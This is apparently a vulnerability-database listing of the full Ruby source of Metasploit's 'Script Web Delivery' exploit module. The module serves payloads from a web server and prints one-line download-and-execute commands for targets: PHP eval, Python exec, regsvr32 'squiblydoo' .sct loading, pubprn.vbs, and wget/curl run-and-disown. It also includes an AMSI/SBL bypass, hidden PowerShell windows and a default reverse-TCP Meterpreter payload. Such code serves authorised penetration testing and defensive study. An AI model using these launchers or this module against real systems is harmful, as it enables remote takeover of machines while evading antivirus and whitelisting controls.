Script Web Delivery

2017-07-24T13:26:21
ID MSF:EXPLOIT/MULTI/SCRIPT/WEB_DELIVERY
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

This module quickly fires up a web server that serves a payload. The provided command which will allow for a payload to download and execute. It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Similarly, the pubprn target uses the pubprn.vbs script to request and execute a .sct file. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded and executed.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Script Web Delivery',
      'Description'  => %q(
           This module quickly fires up a web server that serves a payload.
        The provided command which will allow for a payload to download and execute.
        It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
        for bypassing application whitelisting. The main purpose of this module is to quickly establish
        a session on a target machine when the attacker has to manually type in the command:
        e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
        This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
        escalations supplied by Meterpreter.

        When using either of the PSH targets, ensure the payload architecture matches the target computer
        or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.

        Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
        The signed Microsoft binary file, Regsvr32, is able to request an .sct file
        and then execute the included PowerShell command inside of it.

        Similarly, the pubprn target uses the pubprn.vbs script to request and
        execute a .sct file.

        Both web requests (i.e., the .sct file and PowerShell download/execute)
        can occur on the same port.

        "PSH (Binary)" will write a file to the disk, allowing for custom binaries
        to be served up to be downloaded and executed.
      ),
      'License'      => MSF_LICENSE,
      'Author'       =>
        [
          'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
          'Ben Campbell',
          'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
          'Casey Smith',    # AppLocker bypass research and vulnerability discovery (@subTee)
          'Trenton Ivey',   # AppLocker MSF Module (kn0)
          'g0tmi1k',        # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
          'bcoles',         # support for pubprn and Linux wget
          'phra',           # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass
        ],
      'DefaultOptions' =>
        {
          'Payload'    => 'python/meterpreter/reverse_tcp',
          'Powershell::exec_in_place' => true,
          'Powershell::remove_comsec' => true,
        },
      'References'     =>
        [
          ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
          ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
          ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
          ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
          ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
          ['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],
          ['URL', 'https://iwantmore.pizza/posts/amsi.html'],
        ],
      'Platform'       => %w(python php win linux osx),
      'Targets'        =>
        [
          ['Python', {
            'Platform' => 'python',
            'Arch' => ARCH_PYTHON
          }],
          ['PHP', {
            'Platform' => 'php',
            'Arch' => ARCH_PHP
          }],
          ['PSH', {
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64]
          }],
          ['Regsvr32', {
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64]
          }],
          ['pubprn', {
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64]
          }],
          ['PSH (Binary)', {
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64]
          }],
          ['Linux', {
            'Platform' => 'linux',
            'Arch' => [ARCH_X86, ARCH_X64]
          }],
          ['Mac OS X', {
            'Platform' => 'osx',
            'Arch' => [ARCH_X86, ARCH_X64]
          }],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2013-07-19'
    ))

  register_advanced_options(
    [
      OptBool.new('PSH-AmsiBypass',       [ true,  'PSH - Request AMSI/SBL bypass before the stager', true ]),
      OptString.new('PSH-AmsiBypassURI',  [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),
      OptBool.new('PSH-EncodedCommand',   [ true,  'PSH - Use -EncodedCommand for web_delivery launcher', true ]),
      OptBool.new('PSH-ForceTLS12',       [ true,  'PSH - Force use of TLS v1.2', true ]),
      OptBool.new('PSH-Proxy',            [ true,  'PSH - Use the system proxy', true ]),
      OptString.new('PSHBinary-PATH',     [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
      OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
    ]
  )
  end

  def primer
    php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));")
    python = %Q(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());")
    regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll)
    pubprn = %Q(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct)

    print_status("Run the following command on the target machine:")

    case target.name
    when 'PHP'
      print_line("#{php}")
    when 'Python'
      print_line("#{python}")
    when 'PSH'
      uri = get_uri
      if datastore['PSH-AmsiBypass']
        amsi_uri = uri + amsi_bypass_uri
        print_line("#{gen_psh([amsi_uri, uri], "string")}")
      else
        print_line("#{gen_psh(uri, "string")}")
      end
    when 'pubprn'
      print_line("#{pubprn}")
    when 'Regsvr32'
      print_line("#{regsvr}")
    when 'PSH (Binary)'
      psh = gen_psh("#{get_uri}", "download")
      print_line("#{psh}")
    when 'Linux'
      fname = Rex::Text.rand_text_alphanumeric 8
      print_line "wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown"
    when 'Mac OS X'
      fname = Rex::Text.rand_text_alphanumeric 8
      print_line "curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown"
    end
  end

  def amsi_bypass_uri
    unless datastore['PSH-AmsiBypassURI'].empty?
      @amsi_uri = datastore['PSH-AmsiBypassURI']
    end
    @amsi_uri ||= random_uri
  end

  def on_request_uri(cli, request)
    if request.raw_uri.to_s.ends_with?('.sct')
      print_status("Handling .sct Request")
      psh = gen_psh("#{get_uri}", "string")

      case target.name
      when 'pubprn'
        data = gen_pubprn_sct_file(psh)
      when 'Regsvr32'
        data = gen_sct_file(psh)
      else
        print_error('Unexpected request for .sct file')
      end

      send_response(cli, data, 'Content-Type' => 'text/plain')
      return
    elsif request.raw_uri.to_s.ends_with?(amsi_bypass_uri)
      data = bypass_powershell_protections
      print_status("Delivering AMSI Bypass (#{data.length} bytes)")
      send_response(cli, data, 'Content-Type' => 'text/plain')
      return
    end

    case target.name
    when 'Linux', 'Mac OS X'
      data = generate_payload_exe
    when 'PSH (Binary)'
      data = generate_payload_exe
    when 'PSH', 'Regsvr32', 'pubprn'
      data = cmd_psh_payload(
        payload.encoded,
        payload_instance.arch.first,
      )
    else
      data = %Q(#{payload.encoded})
    end

    print_status("Delivering Payload (#{data.length} bytes)")
    send_response(cli, data, 'Content-Type' => 'application/octet-stream')
  end

  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
    force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
    else
      # Random filename to use, if there isn't anything set
      random = "#{rand_text_alphanumeric 8}.exe"

      # Set filename (Use random filename if empty)
      filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']

      # Set path (Use %TEMP% if empty)
      path = datastore['PSHBinary-PATH'].blank? ? "$env:temp" : %Q('#{datastore['PSHBinary-PATH']}')

      # Join Path and Filename
      file = %Q(echo (#{path}+'\\#{filename}'))

      # Generate download PowerShell command
      download_string = Rex::Powershell::PshMethods.download_run(url, file)
    end

    download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"

    if datastore['PSH-EncodedCommand']
      download_and_run = encode_script(download_and_run)
      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)
    else
      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
    end

    # Generate main PowerShell command
    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def rand_class_id
    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
  end

  def gen_sct_file(command)
    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
  end

  def gen_pubprn_sct_file(command)
    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}
  end
end